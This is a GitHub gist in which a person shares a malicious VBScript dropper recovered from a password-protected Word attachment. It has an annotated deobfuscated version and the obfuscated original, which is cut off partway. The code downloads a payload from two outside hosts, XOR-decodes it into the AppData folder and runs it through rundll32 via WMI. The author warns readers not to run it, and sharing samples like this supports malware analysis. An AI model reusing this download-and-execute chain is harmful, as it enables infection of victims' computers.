Last active
June 11, 2017 18:44
-
-
Save liath/4c9c9c26984392c87d34efcec90d9b37 to your computer and use it in GitHub Desktop.
Malicious vbscript from a password protected Word docx someone sent me
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ' This took me a whole lunch break! | |
| ' This loop causes a few second delay, perhaps this was intentional? | |
| CountTo=99165178 | |
| FOR nil=1 TO CountTo | |
| i=i+1 | |
| NEXT | |
| IF i=CountTo THEN | |
| DIM Ws,WebReq,SuccessFlag,TempFolderPath | |
| SET Ws=CreateObject("WScript.Shell") ' YM("6623052A3B4104480B3A541C0A","R1pfX", 13, 5) | |
| WaitASec | |
| SET ProcEnv=Ws.Environment("PROCESS") ' YM("1F1B1C29021C1A","GOISj", 7, 5) | |
| TempFolderPath=ProcEnv("APPDATA") & Chr(92)& 7118 & 7118 ' YM("2C322705280C2C","XmbwAi", 7, 6) | |
| SET WebReq=CreateObject("Microsoft.XMLHTTP") ' YM("26132C195825041C3B456F1B27321B3F67", "VkzOk7", 17, 6) | |
| IF FetchFile(WebReq, "http://46.17.40.22/hyey.pnj") = 1 THEN | |
| WaitASec | |
| SuccessFlag = True | |
| Else | |
| IF FetchFile(WebReq, "http://inshaengineeringindustries.com/head.pkl") = 1 THEN SuccessFlag = True ' YM("094318335B18432A0F44042204590B2A0F52093108590B2A0F5319301545052612190F2C0C180426005342330A5B", "Ca7l", 46, 4) | |
| END IF | |
| IF SuccessFlag = True THEN | |
| DIM BinWriter | |
| SET BinWriter=CreateObject("ADODB.Stream") ' YM("0C350A10286A1E0537310B29", "DMqETj", 12, 6) | |
| BinWriter.Open | |
| BinWriter.Type=1 | |
| BinWriter.Write WebReq.ResponseBody | |
| BinWriter.SaveToFile TempFolderPath & ".Gwa", 7 ' YM("1E764E14","E019u6M", 4, 7) | |
| BinWriter.Close | |
| EvilBinPAth=TempFolderPath & 7118 & ".lbR" ' YM("482D1B00", "RfAy", 4, 4) | |
| CopyFile TempFolderPath & ".Gwa",EvilBinPAth ' YM("7B032000","LUDWa5Q", 4, 7) | |
| SET Proc=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2:Win32_Process") ' YM("1C130D0325060E1054390217130B3018150D0F3602150D22271D1F0F532B060A061C310414021A27165B3F326C37080C013637190A0334594034072C58483C3E300419061D31","Bkzcn", 70, 5) | |
| Proc.Create "rundll32 """ & EvilBinPAth & """,DllRegisterServer" | |
| END IF | |
| END IF | |
| ' Copies one file into another | |
| FUNCTION CopyFile(FromFile, ToFile) | |
| DIM fs,DestFile,SourceFile | |
| SET fs=CreateObject("Scripting.FileSystemObject") ' YM("212F43253A06255F2B6434255D29190B3F4529273D2E5B292906", "JrL1L", 26, 5) | |
| SET SourceFile=fs.OpenTextFile(FromFile, 1, 0) | |
| SET DestFile=fs.CreateTextFile(ToFile, 1, 0) | |
| ON ERROR RESUME NEXT | |
| DO | |
| YQk=SourceFile.Read(1) | |
| IF ERR.NUMBER = 0 THEN | |
| DestFile.Write Chr((Asc(YQk) AND NOT 115) OR (NOT Asc(YQk) AND 115)) | |
| END IF | |
| LOOP UNTIL ERR.NUMBER <> 0 | |
| DestFile.CLOSE | |
| SourceFile.CLOSE | |
| END FUNCTION | |
| SUB WaitASec() | |
| DIM CountTo,i | |
| FOR CountTo = 96 TO 4000381 | |
| i = GGL + 81 + 46 + 51 | |
| NEXT | |
| END SUB | |
| FUNCTION FetchFile(WebReq, Url) | |
| ON ERROR RESUME NEXT | |
| WebReq.Open "GET", Url, 0 ' YM("0E081D", "MI", 3, 2) | |
| WebReq.Send | |
| IF WebReq.Status=200 THEN | |
| FetchFile=1 | |
| END IF | |
| END FUNCTION |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ' Don't run this. The files it attempts to download were dead links at time of writing but probably not a good idea to find out if they are by running this lol. | |
| DIM RJFcDi3V | |
| FUNCTION YM(GJC,WKO7,U8,Ab6F) | |
| W2aJhhK="60"*"3"*"1"*"54" | |
| TFqMVx="19"*"52"*"26"*"33" | |
| UWQ="83"*"34" | |
| UA="55" | |
| USPMFru3="44" | |
| Qj="78" | |
| S7="73" | |
| S8="17" | |
| S9="59" | |
| W2aJhhK0="7"+"90" | |
| W2aJhhK1="83"-"6" | |
| W2aJhhK2="39"*"67" | |
| W2aJhhK3="9"*"84" | |
| W2aJhhK4="3"-"48" | |
| DIM BFHAH,DABNC3F,S3Ms | |
| Lj1V="96"*"92"*"80"*"16" | |
| DtEFZ6yE="10"*"53"*"22"*"43" | |
| Xkl="54"*"47" | |
| BCMxc="69" | |
| NV="2" | |
| Ui9="4" | |
| S7="45" | |
| S8="48" | |
| S9="66" | |
| Lj1V0="12"+"75" | |
| Lj1V1="32"-"61" | |
| Lj1V2="24"*"37" | |
| Lj1V3="73"*"89" | |
| Lj1V4="69"-"30" | |
| fOR BFHAH=1 To U8 | |
| DABNC3F=(WjvWsJd((-883+921)) & WjvWsJd((-289+361))&(BzX(GJC,(BFHAH+BFHAH)-1,2))) | |
| S3Ms=(WW16Hzs9(BzX(WKO7,((WCTr(BFHAH,Ab6F))+1),1))) | |
| YM=YM+WjvWsJd(Nlfyy(DABNC3F,S3Ms)) | |
| NexT | |
| Sgcjn="10"*"26"*"6"*"66" | |
| GT="83"*"84"*"81"*"91" | |
| FeC800="68"*"81" | |
| VBXZ="95" | |
| T9v1="54" | |
| Qjrpc="78" | |
| S7="77" | |
| S8="9" | |
| S9="16" | |
| Sgcjn0="21"+"5" | |
| Sgcjn1="53"-"82" | |
| Sgcjn2="68"*"37" | |
| Sgcjn3="3"*"7" | |
| Sgcjn4="46"-"2" | |
| END FUNCTION | |
| FUNCTION Px7I() | |
| IUlGm="47"*"73"*"93"*"60" | |
| DJvnl02="59"*"35"*"9"*"61" | |
| TFmg="4"*"28" | |
| Az="56" | |
| RCdYjM99="20" | |
| YtPrNQx="54" | |
| S7="27" | |
| S8="34" | |
| S9="84" | |
| IUlGm0="61"+"56" | |
| IUlGm1="45"-"80" | |
| IUlGm2="74"*"18" | |
| IUlGm3="60"*"8" | |
| IUlGm4="19"-"11" | |
| Px7I=7118 | |
| D42CX9lH="63"*"97"*"47"*"98" | |
| WDOFfl82="20"*"8"*"43"*"11" | |
| SlTO2="55"*"24" | |
| PSHrtc="44" | |
| ImLE="55" | |
| ULd="48" | |
| S7="70" | |
| S8="3" | |
| S9="32" | |
| D42CX9lH0="46"+"49" | |
| D42CX9lH1="67"-"13" | |
| D42CX9lH2="3"*"59" | |
| D42CX9lH3="63"*"26" | |
| D42CX9lH4="38"-"74" | |
| END FUNCTION | |
| DL="38"*"27"*"7"*"67" | |
| WuOLg="84"*"86"*"82"*"92" | |
| RyqQ9m="63"*"50" | |
| YkIacn="64" | |
| G4="22" | |
| NBKbmiA4="47" | |
| S7="46" | |
| S8="76" | |
| S9="83" | |
| DL0="89"+"73" | |
| DL1="21"-"50" | |
| DL2="36"*"6" | |
| DL3="70"*"75" | |
| DL4="15"-"69" | |
| QIOw | |
| Sub FMTd3(UiAZ5, DEzQO) | |
| IXhPeyI="66"*"47"*"52"*"36" | |
| Op="84"*"40"*"95"*"60" | |
| E3xNRBH="39"*"78" | |
| CGDQ="59" | |
| TeX="42" | |
| SH6H="68" | |
| S7="88" | |
| S8="55" | |
| S9="54" | |
| IXhPeyI0="30"+"30" | |
| IXhPeyI1="82"-"98" | |
| IXhPeyI2="23"*"77" | |
| IXhPeyI3="15"*"75" | |
| IXhPeyI4="22"-"56" | |
| UiAZ5.WriTE DEzQO | |
| K10hs="41"*"96"*"5"*"32" | |
| DkW="52"*"91"*"18"*"93" | |
| Mjszpx7="67"*"20" | |
| JdtB3MC9="62" | |
| PwDrjB="60" | |
| OTvZW8N="14" | |
| S7="78" | |
| S8="12" | |
| S9="84" | |
| K10hs0="92"+"42" | |
| K10hs1="93"-"15" | |
| K10hs2="3"*"38" | |
| K10hs3="32"*"76" | |
| K10hs4="18"-"65" | |
| END Sub | |
| FUNCTION BzX(Kr,CB,IejE) | |
| Ky9tm2s7="16"*"53"*"68"*"48" | |
| COlo="10"*"1"*"2"*"97" | |
| Y1C1y="8"*"78" | |
| D3wjv="65" | |
| DwPBpdu="79" | |
| Loj0YS="38" | |
| S7="89" | |
| S8="61" | |
| S9="91" | |
| Ky9tm2s70="98"+"5" | |
| Ky9tm2s71="88"-"36" | |
| Ky9tm2s72="92"*"51" | |
| Ky9tm2s73="21"*"13" | |
| Ky9tm2s74="90"-"30" | |
| BzX=mID(Kr,CB,IejE) | |
| Fc6f="15"*"84"*"49"*"54" | |
| CD2Uz="93"*"48"*"57"*"83" | |
| MAe="77"*"44" | |
| YxB="70" | |
| U3oZO="19" | |
| AXL0Ropw="19" | |
| S7="71" | |
| S8="87" | |
| S9="12" | |
| Fc6f0="66"+"4" | |
| Fc6f1="64"-"10" | |
| Fc6f2="45"*"94" | |
| Fc6f3="45"*"66" | |
| Fc6f4="55"-"90" | |
| END FUNCTION | |
| SUb QIOw() | |
| G0Y="7"*"54"*"65"*"58" | |
| Ne="80"*"86"*"15"*"56" | |
| OwXKMRPn="59"*"77" | |
| CCNb9Se="96" | |
| Q4gQrH="86" | |
| Xfb="43" | |
| S7="73" | |
| S8="9" | |
| S9="48" | |
| G0Y0="84"+"73" | |
| G0Y1="53"-"15" | |
| G0Y2="32"*"33" | |
| G0Y3="30"*"39" | |
| G0Y4="11"-"96" | |
| NyWWyx=99165178 | |
| Tq="22"*"37"*"17"*"77" | |
| STyk5nNi="68"*"69"*"66"*"76" | |
| Apbr1f="47"*"60" | |
| OwCDCs="74" | |
| B1JAV="6" | |
| IS0u="57" | |
| S7="56" | |
| S8="86" | |
| S9="67" | |
| Tq0="72"+"57" | |
| Tq1="5"-"60" | |
| Tq2="20"*"16" | |
| Tq3="81"*"59" | |
| Tq4="98"-"79" | |
| FoR ShgFCwgT=1 To NyWWyx | |
| JQk=JQk+1 | |
| NexT | |
| KvuGGE="49"*"88"*"43"*"52" | |
| Mbvsx="78"*"98"*"39"*"64" | |
| XuUgTOR="40"*"14" | |
| CAR6nDB="66" | |
| BQPW62="10" | |
| TSZopG="7" | |
| S7="61" | |
| S8="25" | |
| S9="59" | |
| KvuGGE0="32"+"40" | |
| KvuGGE1="89"-"40" | |
| KvuGGE2="61"*"50" | |
| KvuGGE3="85"*"79" | |
| KvuGGE4="23"-"65" | |
| If JQk=NyWWyx Then | |
| LPXfdpR="22"*"16"*"60"*"29" | |
| Lxkx="49"*"60"*"53"*"75" | |
| QJZ="8"*"10" | |
| Bm0ToyZV="51" | |
| P1z3="54" | |
| Q8hOqoDa="72" | |
| S7="18" | |
| S8="81" | |
| S9="38" | |
| LPXfdpR0="68"+"31" | |
| LPXfdpR1="43"-"79" | |
| LPXfdpR2="95"*"75" | |
| LPXfdpR3="36"*"27" | |
| LPXfdpR4="28"-"25" | |
| ECjX2="54"*"44"*"1"*"5" | |
| VK="67"*"6"*"17"*"32" | |
| Pv8O="12"*"72" | |
| NtVq="89" | |
| JTRfI="91" | |
| SR3="87" | |
| S7="97" | |
| S8="42" | |
| S9="55" | |
| ECjX20="69"+"27" | |
| ECjX21="52"-"51" | |
| ECjX22="81"*"88" | |
| ECjX23="94"*"78" | |
| ECjX24="26"-"55" | |
| VDHyf="UFXt" | |
| Bcni="34"*"6"*"91"*"6" | |
| RKQiKQ1Z="64"*"16"*"87"*"19" | |
| YiX="26"*"31" | |
| Gg2p="15" | |
| XQxGQf="63" | |
| QkO="19" | |
| S7="78" | |
| S8="47" | |
| S9="39" | |
| Bcni0="17"+"56" | |
| Bcni1="38"-"20" | |
| Bcni2="47"*"67" | |
| Bcni3="34"*"33" | |
| Bcni4="9"-"82" | |
| J95(YM("2E2C00257C775B6170764562686C447B746A5B3D3F3D0D7B36361E",VDHyf,(236088/8744),(-8018+8022))) | |
| DHx="29"*"80"*"97"*"22" | |
| Du="75"*"14"*"73"*"20" | |
| W9F7E9="54"*"4" | |
| YBrfek="54" | |
| KCqV="76" | |
| D5E9="64" | |
| S7="67" | |
| S8="11" | |
| S9="79" | |
| DHx0="1"+"12" | |
| DHx1="5"-"27" | |
| DHx2="59"*"87" | |
| DHx3="3"*"6" | |
| DHx4="24"-"69" | |
| END If | |
| ItPqR85="18"*"13"*"1"*"36" | |
| XnQ2fWA="31"*"74"*"17"*"63" | |
| NS23aLWM="75"*"67" | |
| SifM="89" | |
| TA7yhLo="96" | |
| Al2c6="25" | |
| S7="66" | |
| S8="68" | |
| S9="86" | |
| ItPqR850="6"+"95" | |
| ItPqR851="52"-"82" | |
| ItPqR852="19"*"57" | |
| ItPqR853="94"*"83" | |
| ItPqR854="63"-"24" | |
| END SuB | |
| FUNCTION WW16Hzs9(AQ4Si) | |
| GKQhP88U="16"*"67"*"65"*"96" | |
| Q2dl3ww7="77"*"82"*"66"*"15" | |
| Xn="70"*"29" | |
| Fa30YO="25" | |
| ECwUkiGA="90" | |
| Am="68" | |
| S7="8" | |
| S8="89" | |
| S9="71" | |
| GKQhP88U0="98"+"18" | |
| GKQhP88U1="85"-"84" | |
| GKQhP88U2="60"*"60" | |
| GKQhP88U3="13"*"29" | |
| GKQhP88U4="53"-"7" | |
| WW16Hzs9=AsC(AQ4Si) | |
| UT="35"*"61"*"81"*"22" | |
| L2kkM="48"*"23"*"96"*"49" | |
| Vrf9Vj6="92"*"89" | |
| Tp="44" | |
| KjJ5N7kG="8" | |
| FHOD="42" | |
| S7="15" | |
| S8="23" | |
| S9="72" | |
| UT0="23"+"44" | |
| UT1="33"-"68" | |
| UT2="62"*"6" | |
| UT3="48"*"95" | |
| UT4="80"-"72" | |
| END FUNCTION | |
| FUNCTION BbxkTvm(JA1hctDI,TLrAdJWp) | |
| FMPBiW="40"*"52"*"89"*"5" | |
| K9v0="84"*"45"*"36"*"37" | |
| P3xMWtPM="34"*"44" | |
| NPmR4WY="15" | |
| CKndIu="2" | |
| YgogUJmU="15" | |
| S7="73" | |
| S8="25" | |
| S9="97" | |
| FMPBiW0="28"+"35" | |
| FMPBiW1="40"-"25" | |
| FMPBiW2="72"*"28" | |
| FMPBiW3="87"*"57" | |
| FMPBiW4="49"-"27" | |
| DIM C9H0gUEP,XHTcEh,AdCiTR,TxG55fR(7) | |
| En6vW="65"*"51"*"20"*"85" | |
| MZsC9X="89"*"29"*"84"*"93" | |
| LXM="20"*"13" | |
| LB="80" | |
| JcRmb0="6" | |
| Le3K1b="55" | |
| S7="55" | |
| S8="8" | |
| S9="24" | |
| En6vW0="48"+"2" | |
| En6vW1="40"-"46" | |
| En6vW2="80"*"31" | |
| En6vW3="81"*"3" | |
| En6vW4="90"-"26" | |
| TxG55fR(4)=119 | |
| AfvBUno="15"*"37"*"43"*"71" | |
| Fvtbo="13"*"16"*"34"*"53" | |
| ENZL="43"*"30" | |
| MO5uhma="65" | |
| Mgu1="5" | |
| Igm="41" | |
| S7="30" | |
| S8="10" | |
| S9="70" | |
| AfvBUno0="88"+"89" | |
| AfvBUno1="86"-"95" | |
| AfvBUno2="67"*"53" | |
| AfvBUno3="67"*"26" | |
| AfvBUno4="50"-"49" | |
| TxG55fR(7)=115 | |
| PI="6"*"62"*"66"*"29" | |
| QU5iTOU="41"*"77"*"93"*"73" | |
| Wltp="34"*"25" | |
| TncMmyga="26" | |
| CVpPQnTD="23" | |
| KG="32" | |
| S7="4" | |
| S8="17" | |
| S9="31" | |
| PI0="62"+"14" | |
| PI1="13"-"43" | |
| PI2="24"*"29" | |
| PI3="13"*"61" | |
| PI4="17"-"76" | |
| TxG55fR(5)=115 | |
| EBq1="88"*"89"*"86"*"95" | |
| MtinOm4="67"*"53"*"67"*"26" | |
| TUcRn="50"*"49" | |
| YUWST8T8="80" | |
| PhRkaWHV="87" | |
| Kr5FyAb="92" | |
| S7="76" | |
| S8="25" | |
| S9="54" | |
| EBq10="39"+"9" | |
| EBq11="74"-"78" | |
| EBq12="18"*"73" | |
| EBq13="81"*"9" | |
| EBq14="28"-"68" | |
| TxG55fR(2)=118 | |
| PrK="64"*"42"*"81"*"63" | |
| OTsk="45"*"71"*"91"*"58" | |
| JJmz="58"*"33" | |
| Ey3t="34" | |
| TEt="85" | |
| DgTuo="3" | |
| S7="27" | |
| S8="80" | |
| S9="19" | |
| PrK0="78"+"25" | |
| PrK1="59"-"82" | |
| PrK2="59"*"54" | |
| PrK3="43"*"78" | |
| PrK4="72"-"16" | |
| TxG55fR(3)=103 | |
| WiyJ="9"*"35"*"55"*"95" | |
| EmKZ3="21"*"96"*"70"*"23" | |
| ObGyB9N="65"*"63" | |
| MZ="17" | |
| EWXbJqvb="81" | |
| A5cj="15" | |
| S7="88" | |
| S8="95" | |
| S9="46" | |
| WiyJ0="96"+"18" | |
| WiyJ1="7"-"41" | |
| WiyJ2="36"*"79" | |
| WiyJ3="22"*"68" | |
| WiyJ4="53"-"46" | |
| TxG55fR(0)=115 | |
| Mc48P5="19"*"35"*"59"*"14" | |
| VFa="51"*"11"*"57"*"91" | |
| LWCT9H="15"*"92" | |
| IwGfX="87" | |
| Wh3w="75" | |
| O8="11" | |
| S7="6" | |
| S8="49" | |
| S9="18" | |
| Mc48P50="38"+"50" | |
| Mc48P51="42"-"64" | |
| Mc48P52="97"*"40" | |
| Mc48P53="43"*"61" | |
| Mc48P54="7"-"70" | |
| TxG55fR(6)=55 | |
| TN="15"*"48"*"21"*"29" | |
| SC76X2G="78"*"29"*"51"*"39" | |
| J8zy2="74"*"68" | |
| TPh="13" | |
| WpQAWDc="54" | |
| C5Oap2="2" | |
| S7="86" | |
| S8="78" | |
| S9="2" | |
| TN0="34"+"62" | |
| TN1="4"-"80" | |
| TN2="98"*"44" | |
| TN3="34"*"90" | |
| TN4="93"-"56" | |
| TxG55fR(1)=107 | |
| TGuwg="32"*"75"*"44"*"65" | |
| PDfqr="76"*"68"*"91"*"24" | |
| CyS7="26"*"67" | |
| UO="69" | |
| TuJ="87" | |
| OjhfnCjO="34" | |
| S7="96" | |
| S8="53" | |
| S9="83" | |
| TGuwg0="46"+"58" | |
| TGuwg1="95"-"11" | |
| TGuwg2="90"*"52" | |
| TGuwg3="42"*"43" | |
| TGuwg4="40"-"50" | |
| KD="13"*"6"*"28"*"60" | |
| GL1t="89"*"30"*"7"*"25" | |
| Xmpm="70"*"60" | |
| T0B="17" | |
| JvB="21" | |
| V3dFMK="83" | |
| S7="22" | |
| S8="32" | |
| S9="48" | |
| KD0="28"+"88" | |
| KD1="6"-"7" | |
| KD2="4"*"13" | |
| KD3="58"*"71" | |
| KD4="84"-"43" | |
| sEt C9H0gUEP=JFj7Lk(YM("212F43253A06255F2B6434255D29190B3F4529273D2E5B292906", "JrL1L",(-7448+7474),(6757-6752))) | |
| L8="16"*"31"*"11"*"72" | |
| PqAEvJ="63"*"64"*"60"*"70" | |
| VKMXpT8o="41"*"28" | |
| UfBcO6H="42" | |
| KaCncU="1" | |
| FPLLb43M="52" | |
| S7="24" | |
| S8="54" | |
| S9="61" | |
| L80="67"+"51" | |
| L81="98"-"55" | |
| L82="14"*"83" | |
| L83="75"*"53" | |
| L84="92"-"74" | |
| SeT AdCiTR=C9H0gUEP.OpeNteXTfiLE(JA1hctDI,9535-9534,8294-8294) | |
| Pm9F="34"*"50"*"74"*"29" | |
| GA="66"*"27"*"72"*"8" | |
| Ni08QSkA="57"*"8" | |
| Vh2I="29" | |
| OCzJU="18" | |
| DJio="53" | |
| S7="21" | |
| S8="64" | |
| S9="33" | |
| Pm9F0="53"+"65" | |
| Pm9F1="57"-"79" | |
| Pm9F2="13"*"41" | |
| Pm9F3="56"*"58" | |
| Pm9F4="76"-"22" | |
| sET XHTcEh=C9H0gUEP.CrEaTeteXTFilE(TLrAdJWp,7933-7932,9001-9001) | |
| OFvSN="85"*"75"*"32"*"62" | |
| OhbC="98"*"37"*"74"*"63" | |
| Vj7lHeE="43"*"4" | |
| U0ws="21" | |
| R1o="22" | |
| M7RFi5K="19" | |
| S7="29" | |
| S8="86" | |
| S9="58" | |
| OFvSN0="83"+"81" | |
| OFvSN1="13"-"20" | |
| OFvSN2="25"*"10" | |
| OFvSN3="57"*"86" | |
| OFvSN4="72"-"42" | |
| On eRRor ReSuMe NEXt | |
| VU="87"*"69"*"51"*"78" | |
| PXVQ="97"*"64"*"64"*"40" | |
| KNPf="40"*"92" | |
| G1gZ="9" | |
| VIW="33" | |
| Fk6b3="86" | |
| S7="25" | |
| S8="84" | |
| S9="31" | |
| VU0="65"+"88" | |
| VU1="66"-"61" | |
| VU2="49"*"84" | |
| VU3="78"*"23" | |
| VU4="91"-"12" | |
| dO | |
| G7crVP="39"*"47"*"74"*"93" | |
| W3U="34"*"60"*"36"*"10" | |
| R8G="61"*"5" | |
| Wxc="3" | |
| UXKlWlO="56" | |
| B9FPv1="21" | |
| S7="54" | |
| S8="27" | |
| S9="35" | |
| G7crVP0="84"+"35" | |
| G7crVP1="57"-"45" | |
| G7crVP2="80"*"74" | |
| G7crVP3="19"*"60" | |
| G7crVP4="8"-"92" | |
| YQk=AdCiTR.reaD(9616-9615) | |
| IKC="64"*"98"*"22"*"98" | |
| LkvvUag="93"*"81"*"17"*"12" | |
| K0tLnPQ="55"*"24" | |
| PGrm7E="44" | |
| ERbFolUG="56" | |
| Smmck="48" | |
| S7="71" | |
| S8="4" | |
| S9="6" | |
| IKC0="47"+"49" | |
| IKC1="67"-"13" | |
| IKC2="76"*"33" | |
| IKC3="63"*"26" | |
| IKC4="38"-"75" | |
| if eRR.NUmbER = 0 then | |
| Fp2tmz7="62"*"2"*"12"*"28" | |
| E6qz="7"*"68"*"85"*"86" | |
| CPyhO91v="83"*"92" | |
| LqnajO5="37" | |
| J4="50" | |
| ROKzld="64" | |
| S7="23" | |
| S8="48" | |
| S9="46" | |
| Fp2tmz70="77"+"84" | |
| Fp2tmz71="89"-"73" | |
| Fp2tmz72="22"*"51" | |
| Fp2tmz73="37"*"6" | |
| Fp2tmz74="71"-"75" | |
| FMTd3 XHTcEh,WjvWsJd(Nlfyy(WW16Hzs9(YQk),TxG55fR(0))) | |
| UM="2"*"59"*"11"*"83" | |
| P5y8="14"*"21"*"27"*"11" | |
| CvRH="58"*"14" | |
| FR20oVT4="73" | |
| Bo4="43" | |
| WuhZO="35" | |
| S7="13" | |
| S8="52" | |
| S9="34" | |
| UM0="16"+"42" | |
| UM1="62"-"29" | |
| UM2="29"*"4" | |
| UM3="77"*"30" | |
| UM4="73"-"97" | |
| END iF | |
| XCHY8="97"*"3"*"42"*"96" | |
| QL="6"*"32"*"26"*"92" | |
| Yek95D="19"*"67" | |
| C1Jw="67" | |
| KhEYy="20" | |
| RYsUqP="36" | |
| S7="60" | |
| S8="15" | |
| S9="52" | |
| XCHY80="13"+"58" | |
| XCHY81="93"-"43" | |
| XCHY82="93"*"15" | |
| XCHY83="4"*"39" | |
| XCHY84="7"-"50" | |
| loOP uNTiL eRR.numBer <> 0 | |
| Mnr5N8d="14"*"55"*"3"*"14" | |
| AQcQ="7"*"29"*"35"*"63" | |
| RM9BMmZ="5"*"8" | |
| ObHuPKKH="26" | |
| DgUr1="45" | |
| FcFkC="35" | |
| S7="91" | |
| S8="22" | |
| S9="57" | |
| Mnr5N8d0="96"+"33" | |
| Mnr5N8d1="23"-"2" | |
| Mnr5N8d2="63"*"80" | |
| Mnr5N8d3="81"*"78" | |
| Mnr5N8d4="87"-"59" | |
| XHTcEh.cLOse | |
| Ex4p="65"*"26"*"17"*"18" | |
| Kr6BCLZ="15"*"25"*"95"*"9" | |
| Gny4="23"*"54" | |
| FWO5x="6" | |
| YO0r="5" | |
| Ux6zyxTu="35" | |
| S7="16" | |
| S8="21" | |
| S9="6" | |
| Ex4p0="53"+"9" | |
| Ex4p1="68"-"64" | |
| Ex4p2="30"*"8" | |
| Ex4p3="47"*"28" | |
| Ex4p4="11"-"37" | |
| AdCiTR.closE | |
| YajB="46"*"32"*"1"*"66" | |
| Bi="70"*"10"*"65"*"74" | |
| OVj="1"*"21" | |
| VQOHBz="61" | |
| YOg="86" | |
| DD2="62" | |
| S7="36" | |
| S8="88" | |
| S9="31" | |
| YajB0="29"+"82" | |
| YajB1="47"-"80" | |
| YajB2="53"*"61" | |
| YajB3="12"*"62" | |
| YajB4="83"-"71" | |
| END FUNCTION | |
| FUNCTION Bqkm() | |
| DIM CgfA1 | |
| CgfA1 = Second(Now) | |
| DIM CgfA2 | |
| CgfA2 = Fix(681.42) | |
| DIM CgfA3 | |
| CgfA3 = Second(Now) | |
| DIM CgfA4 | |
| CgfA4 = Month(219) | |
| DIM CgfA5 | |
| If CgfA5 = "420" Then DoEvents | |
| DIM CgfA6 | |
| CgfA6 = CByte(54) | |
| DIM CgfA7 | |
| CgfA7 = Weekday(405) | |
| DIM CgfA8 | |
| If CgfA8 = "928" Then CgfA8 = EOF(406) | |
| END FUNCTION | |
| FUNCTION JFj7Lk(Xmd) | |
| LWRGW="6"*"85"*"46"*"37" | |
| TmXpNs="38"*"35"*"45"*"16" | |
| JD1="29"*"43" | |
| Ueb="74" | |
| GQHeLn10="26" | |
| WQ9Vo0V="25" | |
| S7="56" | |
| S8="36" | |
| S9="42" | |
| LWRGW0="26"+"73" | |
| LWRGW1="30"-"88" | |
| LWRGW2="84"*"50" | |
| LWRGW3="28"*"67" | |
| LWRGW4="49"-"31" | |
| seT JFj7Lk=crEAteoBjECt(Xmd) | |
| Krr="94"*"28"*"1"*"9" | |
| PgD="58"*"9"*"30"*"19" | |
| OHvaDCe="54"*"48" | |
| VsqFcR="91" | |
| C657CmLh="34" | |
| R4="81" | |
| S7="66" | |
| S8="58" | |
| S9="81" | |
| Krr0="14"+"42" | |
| Krr1="83"-"59" | |
| Krr2="77"*"23" | |
| Krr3="14"*"70" | |
| Krr4="73"-"36" | |
| END FUNCTION | |
| suB PZHjnnqV() | |
| XyTl1Zxp="60"*"74"*"33"*"84" | |
| PPdw="56"*"87"*"94"*"83" | |
| SuEfBM1A="32"*"87" | |
| OHG="47" | |
| JNtEl="16" | |
| Fxp3O3="8" | |
| S7="85" | |
| S8="26" | |
| S9="7" | |
| XyTl1Zxp0="89"+"16" | |
| XyTl1Zxp1="36"-"3" | |
| XyTl1Zxp2="2"*"77" | |
| XyTl1Zxp3="51"*"4" | |
| XyTl1Zxp4="46"-"70" | |
| DIM BV65E7N,J60jdN | |
| QD="39"*"65"*"14"*"15" | |
| Y6B6W="66"*"83"*"8"*"61" | |
| S05JQAQ9="59"*"6" | |
| WK="40" | |
| BQNde="89" | |
| RWCmr8="40" | |
| S7="62" | |
| S8="50" | |
| S9="85" | |
| QD0="53"+"96" | |
| QD1="65"-"86" | |
| QD2="97"*"90" | |
| QD3="13"*"45" | |
| QD4="73"-"88" | |
| For BV65E7N = 96 To 4000381 | |
| J60jdN = GGL + 81 + 46 + 51 | |
| Next | |
| McpIFGnw="40"*"66"*"42"*"16" | |
| WVQ="68"*"11"*"9"*"62" | |
| V7zH="27"*"60" | |
| Iem="33" | |
| BR="41" | |
| BLS="90" | |
| S7="42" | |
| S8="63" | |
| S9="51" | |
| McpIFGnw0="86"+"81" | |
| McpIFGnw1="25"-"67" | |
| McpIFGnw2="14"*"98" | |
| McpIFGnw3="91"*"14" | |
| McpIFGnw4="46"-"75" | |
| END SuB | |
| FUNCTION WCTr(Kn3OXJG, Il) | |
| FylM="51"*"62"*"54"*"77" | |
| Whp61s="10"*"12"*"53"*"56" | |
| KqH9="74"*"20" | |
| PlACA="82" | |
| Kg4P5Tjb="39" | |
| Xdo8="69" | |
| S7="32" | |
| S8="44" | |
| S9="81" | |
| FylM0="96"+"76" | |
| FylM1="38"-"28" | |
| FylM2="30"*"26" | |
| FylM3="36"*"7" | |
| FylM4="93"-"8" | |
| WCTr = Kn3OXJG - (Il * (Kn3OXJG \ Il)) | |
| JC6E="11"*"56"*"46"*"3" | |
| ItfZ2H2="7"*"69"*"8"*"18" | |
| GATg="34"*"14" | |
| DTbOeSwj="74" | |
| NuPHzg0="91" | |
| AiMqLV="92" | |
| S7="89" | |
| S8="98" | |
| S9="44" | |
| JC6E0="57"+"70" | |
| JC6E1="29"-"54" | |
| JC6E2="52"*"83" | |
| JC6E3="90"*"95" | |
| JC6E4="79"-"28" | |
| END FUNCTION | |
| FUNCTION J95(SoN) | |
| Cmp="53"*"86"*"60"*"67" | |
| BOOR="18"*"68"*"89"*"78" | |
| PuB="13"*"8" | |
| Jh="51" | |
| Ibr="93" | |
| GDPp="41" | |
| S7="26" | |
| S8="18" | |
| S9="40" | |
| Cmp0="73"+"2" | |
| Cmp1="43"-"19" | |
| Cmp2="37"*"82" | |
| Cmp3="72"*"29" | |
| Cmp4="33"-"95" | |
| DIM Pj9M1,A8ZpmRm,CqYnQ6 | |
| FdFs2="54"*"31"*"27"*"15" | |
| Sgq="50"*"44"*"88"*"56" | |
| W3OPDVsi="77"*"88" | |
| B3dX3C="81" | |
| CcnU="4" | |
| KCrS="36" | |
| S7="38" | |
| S8="79" | |
| S9="82" | |
| FdFs20="1"+"46" | |
| FdFs21="10"-"66" | |
| FdFs22="96"*"59" | |
| FdFs23="71"*"8" | |
| FdFs24="24"-"4" | |
| D3vm="GCZ9Ef" | |
| TMrEP8Z="16"*"54"*"65"*"80" | |
| SdfK="60"*"21"*"39"*"40" | |
| Qwn21IUp="36"*"46" | |
| ESgiR="90" | |
| Xb="4" | |
| Fv9KOm="18" | |
| S7="76" | |
| S8="1" | |
| S9="30" | |
| TMrEP8Z0="37"+"43" | |
| TMrEP8Z1="27"-"74" | |
| TMrEP8Z2="4"*"89" | |
